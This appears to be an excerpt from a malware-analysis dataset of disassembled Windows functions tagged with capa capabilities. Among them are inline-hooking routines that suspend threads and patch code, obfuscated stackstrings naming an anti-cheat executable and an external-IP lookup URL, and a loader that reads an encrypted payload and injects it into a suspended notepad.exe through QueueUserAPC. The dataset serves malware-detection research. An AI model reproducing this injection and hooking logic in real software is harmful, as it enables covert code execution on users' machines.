joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180031c50
Capabilities:
Get system information on windows

Disassembly:
push rsi
push rdi
push r14
push r15
sub rsp, 0x98
mov rax, qword [0x180067040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rdi, rcx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
cmp rdi, 0x40000000
jbe 0x180031c9f
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x1800680f0]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x180031cdd
cmp rsi, r14
jb 0x180031cd5
cmp rsi, r15
jae 0x180031cd5
cmp qword [rsi + 8], 0
jne 0x180031ea7
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180031cc0
mov qword [rsp + 0xc8], rbx
mov rbx, rdi
mov qword [rsp + 0xd0], rbp
mov qword [rsp + 0x90], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x180031d72
nop dword [rax]
nop word [rax + rax]
mov ebp, dword [rsp + 0x78]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x180031d69
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180031d69
cmp dword [rsp + 0x40], 0x10000
je 0x180031deb
mov rbx, qword [rsp + 0x28]
cmp rbx, rbp
jb 0x180031d69
sub rbx, rbp
cmp rbx, r14
jae 0x180031d30
test rsi, rsi
jne 0x180031e50
cmp rdi, r15
ja 0x180031e8f
nop dword [rax + rax]
mov ebp, dword [rsp + 0x78]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x180031e8f
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180031e8f
cmp dword [rsp + 0x40], 0x10000
je 0x180031e21
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x38]
add rdi, qword [rsp + 0x20]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x180031da2
jmp 0x180031e8f
test rbx, rbx
je 0x180031d69
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180031e50
cmp rbx, r14
jae 0x180031d10
jmp 0x180031d72
test rdi, rdi
je 0x180031e8f
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x180031e50
cmp rdi, r15
jbe 0x180031d80
jmp 0x180031e8f
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x180031e60
mov rax, qword [0x1800680f0]
mov qword [rsi], rax
mov qword [0x1800680f0], rsi
mov r12, qword [rsp + 0x90]
mov rbp, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xc8]
mov rax, rsi
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180052a20
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
ret
Function at 0x180032820
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x180067040]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor esi, esi
mov r14d, edx
mov rbx, rcx
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
xor edx, edx
mov ebp, r8d
lea ecx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18003294b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x180032942
nop dword [rax]
cmp dword [rsp + 0x20], 0x10
jb 0x180032924
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180032924
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180032924
mov rdx, qword [rbx]
test rdx, rdx
jne 0x1800328e2
mov rcx, qword [0x180067d30]
mov r8d, 0x200
mov dword [rbx + 8], 0x80
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x180032942
jmp 0x180032917
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x180032917
mov rcx, qword [0x180067d30]
lea r9d, [rax + rax]
mov r8, rdx
shl r9, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x180032942
mov eax, dword [rbx + 8]
add eax, eax
mov qword [rbx], rdx
mov dword [rbx + 8], eax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x180032890
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], rsi
je 0x1800329a3
cmp dword [rbx + 0xc], esi
jbe 0x1800329a3
nop word [rax + rax]
mov r8, qword [rbx]
xor edx, edx
mov eax, esi
lea ecx, [rdx + 0x5a]
mov r8d, dword [r8 + rax*4]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x18003299c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.180032670
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rbx + 0xc]
jb 0x180032960
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180052a20
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1800329d0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180067040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x1800680e0]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180032a43
mov eax, 0xa
jmp 0x180032ad6
test esi, esi
je 0x180032a65
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180032a88
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180032a88
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180032a81
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180032a88
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, sil
shl sil, 2
add cl, cl
xor cl, byte [rbx + 0x20]
and cl, 2
xor cl, byte [rbx + 0x20]
xor sil, cl
and sil, 4
xor sil, cl
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180052a20
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180032b00
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x1800680ec]
mov ebx, edi
test ecx, ecx
je 0x180032c3b
mov rax, qword [0x1800680e0]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180032b58
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180032b30
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x180032c3b
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.180032820
mov r8d, dword [0x1800680ec]
cmp ebx, r8d
jae 0x180032bc8
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x1800680e0]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x180032bc1
mov edx, esi
mov ecx, ebx
call fcn.1800329d0
mov edi, eax
test eax, eax
jne 0x180032bc8
mov r8d, dword [0x1800680ec]
inc ebx
cmp ebx, r8d
jb 0x180032b90
cmp qword [rsp + 0x20], 0
je 0x180032c3b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180032c27
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180032c18
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180032bf0
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180067d30]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180033020
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x180067d28], ebp
je 0x180033077
cmp rbx, 0x20
jae 0x180033060
xor ecx, ecx
jmp 0x180033062
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x180067d28], ebp
jne 0x180033056
cmp qword [0x180067d30], r15
je 0x180033171
test rdi, rdi
jne 0x180033097
mov ecx, esi
call fcn.180032b00
mov ebp, eax
jmp 0x180033176
mov ecx, dword [0x1800680ec]
mov ebx, r15d
test ecx, ecx
je 0x1800330bf
mov r8, qword [0x1800680e0]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x1800330c9
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x1800330b0
mov ebp, 4
jmp 0x180033176
cmp ebx, 0xffffffff
je 0x1800330bf
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x180033168
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180032820
mov edx, esi
mov ecx, ebx
call fcn.1800329d0
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x180033176
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180033152
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180033148
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x180033120
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180067d30]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180033176
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x180033176
mov ebp, 2
xchg dword [0x180067d28], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x140004aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x10], rax
lea rsi, [0x14000eac0]
mov qword [rbp - 0x10], rsi
mov word [rbp - 0x30], 0x3a43
mov byte [rbp - 0x2e], 0x5c
xorps xmm0, xmm0
movdqa xmmword [0x14000eac0], xmm0
xor edi, edi
mov qword [0x14000ead0], rdi
lea ecx, [rdi + 3]
call fcn.140008790
mov qword [0x14000eac0], rax
mov qword [0x14000eac8], rax
lea rbx, [rax + 3]
mov qword [0x14000ead0], rbx
lea r8d, [rdi + 3]
lea rdx, [rbp - 0x30]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000eac8], rbx
mov dword [rbp - 0x2c], 0x646e6957
mov word [rbp - 0x28], 0x776f
mov byte [rbp - 0x26], 0x73
mov qword [0x14000ead8], rdi
xorps xmm0, xmm0
movdqa xmmword [0x14000eae0], xmm0
lea ecx, [rdi + 7]
call fcn.140008790
mov qword [0x14000ead8], rax
mov qword [0x14000eae0], rax
lea rbx, [rax + 7]
mov qword [0x14000eae8], rbx
lea r8d, [rdi + 7]
lea rdx, [rbp - 0x2c]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000eae0], rbx
mov dword [rbp - 0x20], 0x7361455c
mov dword [rbp - 0x1c], 0x746e4179
mov dword [rbp - 0x18], 0x65684369
mov word [rbp - 0x14], 0x7461
mov byte [rbp - 0x12], 0x2e
xorps xmm0, xmm0
movdqa xmmword [0x14000eaf0], xmm0
mov qword [0x14000eb00], rdi
lea ecx, [rdi + 0xf]
call fcn.140008790
mov qword [0x14000eaf0], rax
mov qword [0x14000eaf8], rax
lea rbx, [rax + 0xf]
mov qword [0x14000eb00], rbx
lea r8d, [rdi + 0xf]
lea rdx, [rbp - 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000eaf8], rbx
mov word [rbp - 0x30], 0x7865
mov byte [rbp - 0x2e], 0x65
mov qword [0x14000eb08], rdi
xorps xmm0, xmm0
movdqa xmmword [0x14000eb10], xmm0
lea ecx, [rdi + 3]
call fcn.140008790
mov qword [0x14000eb08], rax
mov qword [0x14000eb10], rax
lea rbx, [rax + 3]
mov qword [0x14000eb18], rbx
lea r8d, [rdi + 3]
lea rdx, [rbp - 0x30]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000eb10], rbx
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
Function at 0x140005300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
lea rsi, [0x14000e9d0]
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x24], 0x7468
xorps xmm0, xmm0
movdqa xmmword [0x14000e9d0], xmm0
xor edi, edi
mov qword [0x14000e9e0], rdi
lea ecx, [rdi + 2]
call fcn.140008790
mov qword [0x14000e9d0], rax
lea rdx, [rax + 2]
mov qword [0x14000e9e0], rdx
movzx ecx, word [rsp + 0x24]
mov word [rax], cx
mov qword [0x14000e9d8], rdx
mov word [rsp + 0x20], 0x7074
mov byte [rsp + 0x22], 0x73
mov qword [0x14000e9e8], rdi
xorps xmm0, xmm0
movdqa xmmword [0x14000e9f0], xmm0
lea ecx, [rdi + 3]
call fcn.140008790
mov qword [0x14000e9e8], rax
mov qword [0x14000e9f0], rax
lea rbx, [rax + 3]
mov qword [0x14000e9f8], rbx
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000e9f0], rbx
mov dword [rsp + 0x24], 0x6d2f2f3a
mov byte [rsp + 0x28], 0x79
xorps xmm0, xmm0
movdqa xmmword [0x14000ea00], xmm0
mov qword [0x14000ea10], rdi
lea ecx, [rdi + 5]
call fcn.140008790
mov qword [0x14000ea00], rax
mov qword [0x14000ea08], rax
lea rbx, [rax + 5]
mov qword [0x14000ea10], rbx
lea r8d, [rdi + 5]
lea rdx, [rsp + 0x24]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000ea08], rbx
mov dword [rsp + 0x30], 0x65747865
mov dword [rsp + 0x34], 0x6c616e72
mov qword [0x14000ea18], rdi
xorps xmm0, xmm0
movdqa xmmword [0x14000ea20], xmm0
lea ecx, [rdi + 8]
call fcn.140008790
mov qword [0x14000ea18], rax
lea rdx, [rax + 8]
mov qword [0x14000ea28], rdx
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
mov qword [0x14000ea20], rdx
mov word [rsp + 0x20], 0x7069
mov byte [rsp + 0x22], 0x2e
xorps xmm0, xmm0
movdqa xmmword [0x14000ea30], xmm0
mov qword [0x14000ea40], rdi
lea ecx, [rdi + 3]
call fcn.140008790
mov qword [0x14000ea30], rax
mov qword [0x14000ea38], rax
lea rbx, [rax + 3]
mov qword [0x14000ea40], rbx
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000ea38], rbx
mov word [rsp + 0x24], 0x6f63
mov byte [rsp + 0x26], 0x6d
mov qword [0x14000ea48], rdi
xorps xmm0, xmm0
movdqa xmmword [0x14000ea50], xmm0
lea ecx, [rdi + 3]
call fcn.140008790
mov qword [0x14000ea48], rax
mov qword [0x14000ea50], rax
lea rbx, [rax + 3]
mov qword [0x14000ea58], rbx
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x24]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x14000ea50], rbx
mov dword [rsp + 0x20], 0x7761722f
xorps xmm0, xmm0
movdqa xmmword [0x14000ea60], xmm0
mov qword [0x14000ea70], rdi
lea ecx, [rdi + 4]
call fcn.140008790
mov qword [0x14000ea60], rax
lea rdx, [rax + 4]
mov qword [0x14000ea70], rdx
mov ecx, dword [rsp + 0x20]
mov dword [rax], ecx
mov qword [0x14000ea68], rdx
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140009260
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400092aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400092aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400092aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400092aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400092aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400092ac
xor al, al
add rsp, 0x28
ret
Function at 0x1400010c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
lea rdx, [0x140019390]
mov rcx, qword [rsp + 0x40]
call fcn.1400050f8
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140001104
mov rdx, qword [rsp + 0x40]
lea rcx, str.Could_not_open_file__s_n
call fcn.140001590
xor eax, eax
jmp 0x140001198
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.14000569c
mov rcx, qword [rsp + 0x20]
call fcn.140005c58
cdqe
mov rcx, qword [rsp + 0x48]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.14000569c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax]
call fcn.140004c24
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000116d
lea rcx, str.Memory_allocation_failed_n
call fcn.140001590
mov rcx, qword [rsp + 0x20]
call fcn.140004fa4
xor eax, eax
jmp 0x140001198
mov r9, qword [rsp + 0x20]
mov rax, qword [rsp + 0x48]
mov r8, qword [rax]
mov edx, 1
mov rcx, qword [rsp + 0x28]
call fcn.140005364
mov rcx, qword [rsp + 0x20]
call fcn.140004fa4
mov rax, qword [rsp + 0x28]
add rsp, 0x38
ret

Function at 0x1400011b0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x24], eax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call fcn.140001020
nop
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001680
add rsp, 0x58
ret
Function at 0x140001370
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push rdi
sub rsp, 0x110
lea rax, str.loaderEncrypted.bin
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call fcn.1400010c0
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400013ba
lea rcx, str.Failed_to_read_the_binary_file._n
call fcn.140001590
mov eax, 0xffffffff
jmp 0x14000151f
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x58], rax
lea rdx, str.VirtualAllocEx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
lea rdx, str.WriteProcessMemory
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
lea rdx, str.QueueUserAPC
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0xa0], 0x68
lea rax, [rsp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400014b6
lea rcx, str.Failed_to_create_process_n
call fcn.140001590
mov rcx, qword [rsp + 0x50]
call fcn.140004c10
mov eax, 0xffffffff
jmp 0x14000151f
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
call fcn.140001230
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
call fcn.140004c10
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x110
pop rdi
ret

Function at 0x140002064
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400020ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400020ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400020ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400020ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400020ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400020b0
xor al, al
add rsp, 0x28
ret
Function at 0x140005a74
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140017ae0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14000ae04
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140005ac3
mov rax, rbp
jmp 0x140005bcb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x255d0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14000c358
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x255d0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140005bc7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005bc7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14000c358
test rax, rax
js 0x140005bc7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140005bc7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140005bb9
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140005bb9
cmp byte [rcx], 0xd
jne 0x140005b9f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140005bae
cmp byte [rcx + 1], 0xa
jne 0x140005bae
inc rcx
jmp 0x140005bae
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x24360]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140005b81
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140005bcb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140001680
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400088e0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000894f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000894f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000894f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000894f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000894f
cmp dword [rcx + 0x84], 0xe
